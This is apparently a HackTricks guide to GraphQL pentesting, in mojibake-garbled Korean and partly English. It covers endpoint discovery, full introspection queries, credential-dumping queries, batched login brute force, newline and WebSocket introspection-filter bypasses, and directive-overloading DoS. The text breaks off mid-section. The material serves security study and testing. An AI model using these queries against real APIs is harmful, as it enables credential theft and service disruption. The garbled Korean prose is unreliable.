GraphQL
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์๊ฐ
GraphQL์ REST API์ ๋ํ ํจ์จ์ ์ธ ๋์์ผ๋ก ๊ฐ์กฐ๋๋ฉฐ, ๋ฐฑ์๋์์ ๋ฐ์ดํฐ๋ฅผ ์ฟผ๋ฆฌํ๋ ๊ณผ์ ์ ๋จ์ํํฉ๋๋ค. ์ฌ๋ฌ ์๋ํฌ์ธํธ์ ๊ฑธ์ณ ๋ง์ ์์ฒญ์ ํด์ผ ํ๋ REST์ ๋ฌ๋ฆฌ, GraphQL์ ํ์ํ ๋ชจ๋ ์ ๋ณด๋ฅผ ํ๋์ ์์ฒญ์ผ๋ก ๊ฐ์ ธ์ฌ ์ ์๊ฒ ํด์ค๋๋ค. ์ด๋ฌํ ๊ฐ์ํ๋ ๋ฐ์ดํฐ ํ์นญ ๊ณผ์ ์ ๋จ์ํํ์ฌ ๊ฐ๋ฐ์๋ค์๊ฒ ์๋นํ ์ด์ ์ ์ ๊ณตํฉ๋๋ค.
GraphQL์ ๋ณด์
GraphQL์ ํฌํจํ ์๋ก์ด ๊ธฐ์ ์ ๋ฑ์ฅ๊ณผ ํจ๊ป ์๋ก์ด ๋ณด์ ์ทจ์ฝ์ ๋ ๋ํ๋ฉ๋๋ค. ์ค์ํ ์ ์ GraphQL does not include authentication mechanisms by default๋ผ๋ ๊ฒ์ ๋๋ค. ์ธ์ฆ ๋ฉ์ปค๋์ฆ์ ๊ตฌํํ๋ ๊ฒ์ ๊ฐ๋ฐ์์ ์ฑ ์์ ๋๋ค. ์ ์ ํ ์ธ์ฆ์ด ์์ผ๋ฉด GraphQL ์๋ํฌ์ธํธ๊ฐ ์ธ์ฆ๋์ง ์์ ์ฌ์ฉ์์๊ฒ ๋ฏผ๊ฐํ ์ ๋ณด๋ฅผ ๋ ธ์ถํ ์ ์์ด ์ฌ๊ฐํ ๋ณด์ ์ํ์ ์ด๋ํฉ๋๋ค.
Directory Brute Force Attacks and GraphQL
๋ ธ์ถ๋ GraphQL ์ธ์คํด์ค๋ฅผ ์๋ณํ๊ธฐ ์ํด ๋๋ ํฐ๋ฆฌ ๋ฌด์์ ๋์ ๊ณต๊ฒฉ์ ๋ค์ ํน์ ๊ฒฝ๋ก๋ค์ ํฌํจ์ํค๋ ๊ฒ์ด ๊ถ์ฅ๋ฉ๋๋ค. ์ด ๊ฒฝ๋ก๋ค์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
/graphql/graphiql/graphql.php/graphql/console/api/api/graphql/graphql/api/graphql/graphql
์คํ๋ GraphQL ์ธ์คํด์ค๋ฅผ ์๋ณํ๋ฉด ์ง์๋๋ ์ฟผ๋ฆฌ๋ฅผ ๊ฒ์ฌํ ์ ์์ต๋๋ค. ์ด๋ ์๋ํฌ์ธํธ๋ฅผ ํตํด ์ ๊ทผ ๊ฐ๋ฅํ ๋ฐ์ดํฐ๋ฅผ ์ดํดํ๋ ๋ฐ ์ค์ํฉ๋๋ค. GraphQL์ introspection ์์คํ ์ ์คํค๋ง๊ฐ ์ง์ํ๋ ์ฟผ๋ฆฌ๋ฅผ ์์ธํ ์๋ ค์ค๋๋ค. ์์ธํ ๋ด์ฉ์ GraphQL ๋ฌธ์์ introspection์ ์ฐธ์กฐํ์ธ์: GraphQL: A query language for APIs.
์ง๋ฌธ
๋๊ตฌ graphw00f๋ ์๋ฒ์์ ์ด๋ค GraphQL ์์ง์ด ์ฌ์ฉ๋๋์ง ๊ฐ์งํ๊ณ ๋ณด์ ๊ฐ์ฌ์์๊ฒ ์ ์ฉํ ์ ๋ณด๋ฅผ ์ถ๋ ฅํ ์ ์์ต๋๋ค.
๋ฒ์ฉ ์ฟผ๋ฆฌ
URL์ด GraphQL ์๋น์ค์ธ์ง ํ์ธํ๋ ค๋ฉด universal query, query{__typename}๋ฅผ ์ ์กํ ์ ์์ต๋๋ค. ์๋ต์ {"data": {"__typename": "Query"}}๊ฐ ํฌํจ๋๋ฉด ํด๋น URL์ด GraphQL ์๋ํฌ์ธํธ์์ ํ์ธํ ์ ์์ต๋๋ค. ์ด ๋ฐฉ๋ฒ์ ์ฟผ๋ฆฌ๋ ๊ฐ์ฒด์ ํ์
์ ๋๋ฌ๋ด๋ GraphQL์ __typename ํ๋์ ์์กดํฉ๋๋ค.
query{__typename}
Basic Enumeration
Graphql์ ์ผ๋ฐ์ ์ผ๋ก GET, POST (x-www-form-urlencoded) ๋ฐ POST(json)์ ์ง์ํฉ๋๋ค. ๋ณด์์ ์ํด CSRF ๊ณต๊ฒฉ์ ๋ฐฉ์งํ๋ ค๋ฉด json๋ง ํ์ฉํ๋ ๊ฒ์ด ๊ถ์ฅ๋ฉ๋๋ค.
Introspection
introspection์ ์ฌ์ฉํด schema ์ ๋ณด๋ฅผ ์ฐพ์ผ๋ ค๋ฉด __schema ํ๋๋ฅผ ์ฟผ๋ฆฌํ์ธ์. ์ด ํ๋๋ ๋ชจ๋ queries์ root type์์ ์ฌ์ฉํ ์ ์์ต๋๋ค.
query={__schema{types{name,fields{name}}}}
์ด ์ฟผ๋ฆฌ๋ฅผ ์ฌ์ฉํ๋ฉด ์ฌ์ฉ ์ค์ธ ๋ชจ๋ ํ์ ์ ์ด๋ฆ์ ์ฐพ์ ์ ์์ต๋๋ค:
.png)
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
์ด ์ฟผ๋ฆฌ๋ฅผ ์ฌ์ฉํ๋ฉด ๋ชจ๋ ํ์ , ๊ทธ ํ๋๋ค, ๊ทธ๋ฆฌ๊ณ ๊ทธ ์ธ์๋ค(๋ฐ ์ธ์์ ํ์ )์ ์ถ์ถํ ์ ์์ต๋๋ค. ์ด๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ์ด๋ป๊ฒ ์ฟผ๋ฆฌํ ์ง ์๋ ๋ฐ ๋งค์ฐ ์ ์ฉํฉ๋๋ค.
.png)
์ค๋ฅ
์ด ์ค๋ฅ๋ค์ด ํ์๋ ์ง ์๋ ๊ฒ์ ํฅ๋ฏธ๋กญ์ต๋๋ค. ์๋ํ๋ฉด ๊ทธ๊ฒ๋ค์ด ์ ์ฉํ ์ ๋ณด๋ฅผ ์ ๊ณตํ๊ธฐ ๋๋ฌธ์ ๋๋ค.
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
.png)
Introspection์ ํตํด ๋ฐ์ดํฐ๋ฒ ์ด์ค ์คํค๋ง ์ด๊ฑฐํ๊ธฐ
Tip
Introspection์ด ํ์ฑํ๋์ด ์๋๋ฐ ์ ์ฟผ๋ฆฌ๊ฐ ์คํ๋์ง ์๋๋ค๋ฉด, ์ฟผ๋ฆฌ ๊ตฌ์กฐ์์
onOperation,onFragment,onField์ง์์๋ฅผ ์ ๊ฑฐํด ๋ณด์ธ์.
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
์ธ๋ผ์ธ ์ธํธ๋ก์คํ์ ์ฟผ๋ฆฌ:
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
๋ง์ง๋ง ์ฝ๋ ๋ผ์ธ์ graphql ์ฟผ๋ฆฌ๋ก, graphql์ ๋ชจ๋ ๋ฉํ ์ ๋ณด(๊ฐ์ฒด ์ด๋ฆ, ๋งค๊ฐ๋ณ์, ํ์ ๋ฑ)๋ฅผ ๋คํํฉ๋๋ค.
.png)
introspection์ด ํ์ฑํ๋์ด ์๋ค๋ฉด GUI์์ ๋ชจ๋ ์ต์ ์ ๋ณด๊ธฐ ์ํด GraphQL Voyager๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
์ฟผ๋ฆฌ
์ด์ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ด๋ค ์ข ๋ฅ์ ์ ๋ณด๊ฐ ์ ์ฅ๋์ด ์๋์ง ์์์ผ๋, ์ผ๋ถ ๊ฐ์ ์ถ์ถํด๋ณด์.
introspection์์ ์ง์ ์ฟผ๋ฆฌํ ์ ์๋ ๊ฐ์ฒด๊ฐ ๋ฌด์์ธ์ง ํ์ธํ ์ ์์ต๋๋ค(๊ฐ์ฒด๊ฐ ์กด์ฌํ๋ค๊ณ ํด์ ๋ฐ๋์ ์ฟผ๋ฆฌํ ์ ์๋ ๊ฒ์ ์๋๊ธฐ ๋๋ฌธ์ ๋๋ค). ๋ค์ ์ด๋ฏธ์ง์์ โqueryTypeโ๊ฐ โQueryโ๋ผ๊ณ ๋ถ๋ฆฌ๋ฉฐ, โQueryโ ๊ฐ์ฒด์ ํ๋ ์ค ํ๋๊ฐ โflagsโ์ด๊ณ ์ด๋ ๋ํ ๊ฐ์ฒด ํ์ ์์ ํ์ธํ ์ ์์ต๋๋ค. ๋ฐ๋ผ์ flag ๊ฐ์ฒด๋ฅผ ์ฟผ๋ฆฌํ ์ ์์ต๋๋ค.

์ฟผ๋ฆฌ โflagsโ์ ํ์ ์ด โFlagsโ์์ ์ฃผ์ํ์ธ์, ์ด ๊ฐ์ฒด๋ ์๋์ ๊ฐ์ด ์ ์๋์ด ์์ต๋๋ค:
.png)
โFlagsโ ๊ฐ์ฒด๊ฐ name๊ณผ .value๋ก ๊ตฌ์ฑ๋์ด ์์์ ๋ณผ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ฉด ๋ค์ ์ฟผ๋ฆฌ๋ก ๋ชจ๋ ํ๋๊ทธ์ ์ด๋ฆ๊ณผ ๊ฐ์ ๊ฐ์ ธ์ฌ ์ ์์ต๋๋ค:
query={flags{name, value}}
๋ค์ ์์์ฒ๋ผ ์ฟผ๋ฆฌํ ๊ฐ์ฒด๊ฐ primitive ํ์ (์: string)์ธ ๊ฒฝ์ฐ
.png)
๋ค์๊ณผ ๊ฐ์ด ๊ฐ๋จํ ์ฟผ๋ฆฌํ ์ ์์ต๋๋ค:
query = { hiddenFlags }
๋ค๋ฅธ ์์์ โQueryโ ํ์
๊ฐ์ฒด ์์ 2๊ฐ์ ๊ฐ์ฒด๊ฐ ์์์ต๋๋ค: โuserโ์ โusersโ.
์ด ๊ฐ์ฒด๋ค์ด ๊ฒ์์ ์๋ฌด ์ธ์๋ฅผ ํ์๋ก ํ์ง ์๋๋ค๋ฉด, ์ํ๋ ๋ฐ์ดํฐ๋ฅผ ๊ทธ๋ฅ ์์ฒญํ๋ ๊ฒ๋ง์ผ๋ก ๋ชจ๋ ์ ๋ณด๋ฅผ ๊ฐ์ ธ์ฌ ์ ์์ต๋๋ค. ์ด ์ธํฐ๋ท ์์ ์์๋ ์ ์ฅ๋ ์ฌ์ฉ์ ์ด๋ฆ๊ณผ ๋น๋ฐ๋ฒํธ๋ฅผ ์ถ์ถํ ์ ์์์ต๋๋ค:
.png)
ํ์ง๋ง ์ด ์์ ์์ ๊ทธ๋ ๊ฒ ์๋ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ ์ค๋ฅ๊ฐ ๋ฐ์ํฉ๋๋ค:
.png)
์ด๋ค ์์ผ๋ก๋ Int ํ์
์ โuidโ ์ธ์๋ฅผ ์ฌ์ฉํด ๊ฒ์ํ๋ ๊ฒ ๊ฐ์ต๋๋ค.
์ด์จ๋ ์ด๋ฏธ Basic Enumeration ์น์
์์ ํ์ํ ๋ชจ๋ ์ ๋ณด๋ฅผ ๋ณด์ฌ์ค ์ฟผ๋ฆฌ๊ฐ ์ ์๋์์ต๋๋ค: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}
์ ๊ฐ ๊ทธ ์ฟผ๋ฆฌ๋ฅผ ์คํํ์ ๋ ์ ๊ณต๋ ์ด๋ฏธ์ง๋ฅผ ๋ณด๋ฉด โuserโ๊ฐ Int ํ์ ์ ์ธ์ โuidโ๋ฅผ ๊ฐ์ง๊ณ ์๋ ๊ฒ์ ๋ณผ ์ ์์ต๋๋ค.
๊ทธ๋์ ๊ฐ๋ฒผ์ด uid bruteforce๋ฅผ ์ํํ ๊ฒฐ๊ณผ _uid=1_์์ ์ฌ์ฉ์ ์ด๋ฆ๊ณผ ๋น๋ฐ๋ฒํธ๊ฐ ๋ฐํ๋๋ ๊ฒ์ ๋ฐ๊ฒฌํ์ต๋๋ค:query={user(uid:1){user,password}}
.png)
์ฌ๊ธฐ์ ๋ฐ๊ฒฌํ ์ ์ โuserโ์ โpasswordโ ํ๋ผ๋ฏธํฐ๋ฅผ ์์ฒญํ ์ ์๋ค๋ ๊ฒ์
๋๋ค. ์กด์ฌํ์ง ์๋ ๊ฒ์ ์์ฒญํ๋ฉด (query={user(uid:1){noExists}}) ๋ค์๊ณผ ๊ฐ์ ์ค๋ฅ๊ฐ ๋ฐ์ํฉ๋๋ค:
.png)
๊ทธ๋ฆฌ๊ณ enumeration phase ๋์ โdbuserโ ๊ฐ์ฒด๊ฐ โuserโ์ โpasswordโ ํ๋๋ฅผ ๊ฐ์ง๊ณ ์๋ค๋ ๊ฒ์ ๋ฐ๊ฒฌํ์ต๋๋ค.
Query string dump trick (thanks to @BinaryShadow_)
๋ฌธ์์ด ํ์
์ผ๋ก ๊ฒ์ํ ์ ์๋ค๋ฉด, ์๋ฅผ ๋ค์ด query={theusers(description: ""){username,password}}์ฒ๋ผ ๋น ๋ฌธ์์ด๋ก ๊ฒ์ํ๋ฉด ๋ชจ๋ ๋ฐ์ดํฐ๊ฐ ๋คํ๋ฉ๋๋ค. (์ฐธ๊ณ : ์ด ์์ ๋ ํํ ๋ฆฌ์ผ์ ์์ ์ ๊ด๋ จ์ด ์์ผ๋ฉฐ, ์ด ์์ ์์๋ โtheusersโ๋ฅผ โdescriptionโ์ด๋ผ๋ String ํ๋๋ก ๊ฒ์ํ ์ ์๋ค๊ณ ๊ฐ์ ํฉ๋๋ค).
๊ฒ์
์ด ์ค์ ์์ database๋ persons์ movies๋ฅผ ํฌํจํฉ๋๋ค. Persons๋ email๊ณผ name์ผ๋ก ์๋ณ๋๊ณ ; movies๋ name๊ณผ rating์ผ๋ก ์๋ณ๋ฉ๋๋ค. Persons๋ ์๋ก ์น๊ตฌ๊ฐ ๋ ์ ์๊ณ ๋ํ ์ํ๋ค์ ๊ฐ์ง๋ฉฐ, ์ด๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋ด์ ๊ด๊ณ๋ฅผ ๋ํ๋ ๋๋ค.
name์ผ๋ก persons๋ฅผ ๊ฒ์ํ์ฌ ๊ทธ๋ค์ email์ ์ป์ ์ ์์ต๋๋ค:
{
searchPerson(name: "John Doe") {
email
}
}
์ด๋ฆ์ผ๋ก ์ฌ๋๋ค์ ๊ฒ์ํ๊ณ ๊ทธ๋ค์ด ๊ตฌ๋ ํ ์ํ๋ค์ ๊ฐ์ ธ์ฌ ์ ์์ต๋๋ค:
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}
์ฌ๋์ subscribedMovies์์ name์ ๊ฐ์ ธ์ค๋๋ก ํ์๋ ๋ฐฉ๋ฒ์ ์ฃผ๋ชฉํ์ธ์.
๋์์ ์ฌ๋ฌ ๊ฐ์ฒด๋ฅผ ๊ฒ์ํ ์๋ ์์ต๋๋ค. ์ด ๊ฒฝ์ฐ 2๊ฐ์ ์ํ๋ฅผ ๊ฒ์ํฉ๋๋ค:
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r
๋๋ ์ฌ์ง์ด ๋ณ์นญ์ ์ฌ์ฉํ ์ฌ๋ฌ ๋ค๋ฅธ ๊ฐ์ฒด ๊ฐ์ ๊ด๊ณ:
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}
Mutations
Mutations๋ ์๋ฒ ์ธก์์ ๋ณ๊ฒฝ์ ๊ฐํ ๋ ์ฌ์ฉ๋ฉ๋๋ค.
introspection์์ ์ ์ธ๋ mutations๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค. ๋ค์ ์ด๋ฏธ์ง์์ โMutationTypeโ๋ โMutationโ์ด๋ผ๊ณ ๋ถ๋ฆฌ๋ฉฐ, โMutationโ ๊ฐ์ฒด๋ ํด๋น ๊ฒฝ์ฐ์ฒ๋ผ โaddPersonโ ๊ฐ์ mutation๋ค์ ์ด๋ฆ์ ํฌํจํ๊ณ ์์ต๋๋ค:
.png)
์ด ์ค์ ์์, database๋ persons์ movies๋ฅผ ํฌํจํฉ๋๋ค. Persons๋ email๊ณผ name์ผ๋ก ์๋ณ๋๋ฉฐ; movies๋ name๊ณผ rating์ผ๋ก ์๋ณ๋ฉ๋๋ค. Persons๋ ์๋ก ์น๊ตฌ๊ฐ ๋ ์ ์๊ณ ๋ํ ์ํ๋ฅผ ๋ณด์ ํ ์ ์์ผ๋ฉฐ, ์ด๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋ด์ ๊ด๊ณ๋ฅผ ๋ํ๋ ๋๋ค.
๋ฐ์ดํฐ๋ฒ ์ด์ค ๋ด๋ถ์ ์๋ก์ด ์ํ๋ฅผ ์์ฑํ๋ mutation์ ๋ค์๊ณผ ๊ฐ์ ์ ์์ต๋๋ค(์ด ์์์ mutation์ addMovie๋ผ๊ณ ๋ถ๋ฆฝ๋๋ค):
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}
์ฟผ๋ฆฌ์์ ๊ฐ๊ณผ ๋ฐ์ดํฐ ํ์ ์ด ๋ชจ๋ ํ์๋๋ ๋ฐฉ์์ ์ฃผ๋ชฉํ์ธ์.
๋ํ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ mutation ์ฐ์ฐ์ธ addPerson์ ์ง์ํ๋ฉฐ, ์ด๋ฅผ ํตํด ๊ธฐ์กด friends ๋ฐ movies์์ ์ฐ๊ด์ ํฌํจํ persons๋ฅผ ์์ฑํ ์ ์์ต๋๋ค. ์ค์ํ ์ ์ friends์ movies๋ ์๋ก ์์ฑ๋๋ person์ ์ฐ๊ฒฐํ๊ธฐ ์ ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๋ฏธ๋ฆฌ ์กด์ฌํด์ผ ํ๋ค๋ ๊ฒ์
๋๋ค.
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}
Directive Overloading
As explained in one of the vulns described in this report, a directive overloading implies to call of a directive even millions of times to make the server waste operations until itโs possible to DoS it.
Batching brute-force in 1 API request
This information was take from [https://lab.wallarm.com/graphql-batching-attack/].
GraphQL API๋ฅผ ํตํ ์ธ์ฆ์ ํ์ธํ๊ธฐ ์ํด ์ฌ๋ฌ ์๊ฒฉ์ฆ๋ช
์ ์ฌ์ฉํด ์ฌ๋ฌ ์ฟผ๋ฆฌ๋ฅผ ๋์์ ์ ์กํ๋ ๋ฐฉ์์ด๋ค. ๊ณ ์ ์ ์ธ brute force ๊ณต๊ฒฉ์ด์ง๋ง, GraphQL์ batching ๊ธฐ๋ฅ ๋๋ฌธ์ ์ด์ ํ HTTP ์์ฒญ๋น ์ฌ๋ฌ ๋ก๊ทธ์ธ/๋น๋ฐ๋ฒํธ ์์ ์ ์กํ ์ ์๋ค. ์ด ์ ๊ทผ๋ฒ์ ์ธ๋ถ rate ๋ชจ๋ํฐ๋ง ์ ํ๋ฆฌ์ผ์ด์
์ ์์ฌ ๋ชจ๋ ๊ฒ์ด ์ ์์ด๋ฉฐ ๋น๋ฐ๋ฒํธ๋ฅผ ์ถ์ธกํ๋ brute-forcing ๋ด์ด ์๋ค๊ณ ํ๋จํ๊ฒ ๋ง๋ ๋ค.
Below you can find the simplest demonstration of an application authentication request, with 3 different email/passwords pairs at a time. Obviously itโs possible to send thousands in a single request in the same way:
.png)
As we can see from the response screenshot, the first and the third requests returned null and reflected the corresponding information in the error section. The second mutation had the correct authentication data and the response has the correct authentication session token.
 (1).png)
GraphQL Without Introspection
More and more graphql endpoints are disabling introspection. However, the errors that graphql throws when an unexpected request is received are enough for tools like clairvoyance to recreate most part of the schema.
Moreover, the Burp Suite extension GraphQuail extension observes GraphQL API requests going through Burp and builds an internal GraphQL schema with each new query it sees. It can also expose the schema for GraphiQL and Voyager. The extension returns a fake response when it receives an introspection query. As a result, GraphQuail shows all queries, arguments, and fields available for use within the API. For more info check this.
A nice wordlist to discover GraphQL entities can be found here.
Bypassing GraphQL introspection defences
API์์ introspection ์ฟผ๋ฆฌ ์ ํ์ ์ฐํํ๋ ค๋ฉด __schema ํค์๋ ๋ค์ ํน์ ๋ฌธ์๋ฅผ ์ฝ์
ํ๋ ๊ฒ์ด ํจ๊ณผ์ ์ด๋ค. ์ด ๋ฐฉ๋ฒ์ introspection๋ฅผ ์ฐจ๋จํ๋ ค๊ณ __schema ํค์๋์ ์ด์ ์ ๋ง์ถ regex ํจํด์์ ๊ฐ๋ฐ์๊ฐ ํํ ๋์น๋ ๋ถ๋ถ์ ์
์ฉํ๋ค. GraphQL์ด ๋ฌด์ํ์ง๋ง regex์์ ๊ณ ๋ ค๋์ง ์์ ์ ์๋ ๊ณต๋ฐฑ, ์ค๋ฐ๊ฟ, ์ผํ ๊ฐ์ ๋ฌธ์๋ฅผ ์ถ๊ฐํจ์ผ๋ก์จ ์ ํ์ ํํผํ ์ ์๋ค. ์๋ฅผ ๋ค์ด, __schema ๋ค์ ์ค๋ฐ๊ฟ์ ๋ฃ์ introspection ์ฟผ๋ฆฌ๋ ๊ทธ๋ฌํ ๋ฐฉ์ด๋ฅผ ์ฐํํ ์ ์๋ค:
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}
์๋ํ์ง ์์ผ๋ฉด GET requests ๋๋ POST with x-www-form-urlencoded ๊ฐ์ ๋์ฒด ์์ฒญ ๋ฐฉ์์ ๊ณ ๋ คํ์ธ์. ์ ํ์ด POST ์์ฒญ์๋ง ์ ์ฉ๋ ์ ์์ต๋๋ค.
WebSockets ์๋
์์ ์ด ๋ฐํ์์ ์ธ๊ธํ ๊ฒ์ฒ๋ผ, WebSockets๋ฅผ ํตํด graphQL์ ์ฐ๊ฒฐํ ์ ์๋์ง ํ์ธํ์ธ์. ์ด๋ ๊ฒ ํ๋ฉด ์ ์ฌ์ ์ธ WAF๋ฅผ ์ฐํํ๊ณ websocket ํต์ ์ด graphQL์ ์คํค๋ง๋ฅผ leakํ ์ ์์ต๋๋ค:
ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}
var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}
๋ ธ์ถ๋ GraphQL ๊ตฌ์กฐ ๋ฐ๊ฒฌ
When introspection is disabled, JavaScript ๋ผ์ด๋ธ๋ฌ๋ฆฌ์์ ๋ฏธ๋ฆฌ ๋ก๋๋ ์ฟผ๋ฆฌ๋ฅผ ์ฐพ๊ธฐ ์ํด ์น์ฌ์ดํธ ์์ค ์ฝ๋๋ฅผ ๊ฒ์ฌํ๋ ๊ฒ์ ์ ์ฉํ ์ ๋ต์
๋๋ค. ์ด๋ฌํ ์ฟผ๋ฆฌ๋ ๊ฐ๋ฐ์ ๋๊ตฌ์ Sources ํญ์์ ์ฐพ์ ์ ์์ผ๋ฉฐ, API์ ์คํค๋ง์ ๋ํ ํต์ฐฐ์ ์ ๊ณตํ๊ณ ์ ์ฌ์ ์ผ๋ก ๋
ธ์ถ๋ ๋ฏผ๊ฐํ ์ฟผ๋ฆฌ๋ฅผ ๋๋ฌ๋ผ ์ ์์ต๋๋ค. ๊ฐ๋ฐ์ ๋๊ตฌ ๋ด์์ ๊ฒ์ํ ๋ ์ฌ์ฉํ๋ ๋ช
๋ น์ด๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
Inspect/Sources/"Search all files"
file:* mutation
file:* query
์ค๋ฅ ๊ธฐ๋ฐ ์คํค๋ง ์ฌ๊ตฌ์ฑ ๋ฐ ์์ง ์ง๋ฌธ ์๋ณ (InQL v6.1+)
์ธํธ๋ก์คํ์ ์ด ์ฐจ๋จ๋ ๊ฒฝ์ฐ, **InQL v6.1+**๋ ์ด์ ์ค๋ฅ ํผ๋๋ฐฑ๋ง์ผ๋ก ์ ๊ทผ ๊ฐ๋ฅํ ์คํค๋ง๋ฅผ ์ฌ๊ตฌ์ฑํ ์ ์์ต๋๋ค. ์๋ก์ด schema bruteforcer๋ ๊ตฌ์ฑ ๊ฐ๋ฅํ ์๋๋ฆฌ์คํธ์์ ํ๋/์ธ์ ํ๋ณด ์ด๋ฆ์ ๋ฐฐ์น๋ก ์ฒ๋ฆฌํ๊ณ , HTTP ํธ๋ํฝ์ ์ค์ด๊ธฐ ์ํด ๋ค์ค ํ๋ ์ฐ์ฐ์ผ๋ก ์ ์กํฉ๋๋ค. ์ ์ฉํ ์ค๋ฅ ํจํด์ ์๋์ผ๋ก ์์ง๋ฉ๋๋ค:
